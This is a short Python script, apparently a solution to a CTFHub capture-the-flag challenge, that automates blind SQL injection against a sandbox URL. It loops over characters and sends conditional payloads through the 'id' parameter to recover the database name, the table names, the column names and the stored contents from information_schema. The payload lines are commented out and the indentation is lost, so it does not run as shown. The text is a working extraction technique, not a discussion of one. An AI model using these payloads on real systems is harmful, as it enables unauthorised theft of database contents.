import string
import requests
name = ''
strall = string.ascii_lowercase + string.digits + string.punctuation
# for k in range(1,15):
for j in range(1,50):
for i in strall:
# 查數據庫名
# datas = "if(substr(database(),%d,1)='%s',1,(select table_name from information_schema.tables))"% (j,i)
# 查表名
# datas = "if(substr((select table_name from information_schema.tables where table_schema='sqli' limit %d,1),%d,1) = '%s',1,(select table_name from information_schema.tables))" %(k,j,i)
# 查列名
# datas = "if(substr((select column_name from information_schema.columns where table_name='zqjsjpvifa' and table_schema='sqli'),%d,1) = '%s',1,(select table_name from information_schema.tables))" %(j,i)
# 查內容
# datas = "if(substr((select wdiqllcsoi from sqli.zqjsjpvifa),%d,1) = '%s',1,(select table_name from information_schema.tables))" %(j,i)
re = requests.get('http://challenge-0c37e62039a49553.sandbox.ctfhub.com:10080/?id='+datas)
html = re.text
# print(html)
if "ctfhub" in html:
name += i
print(name)
break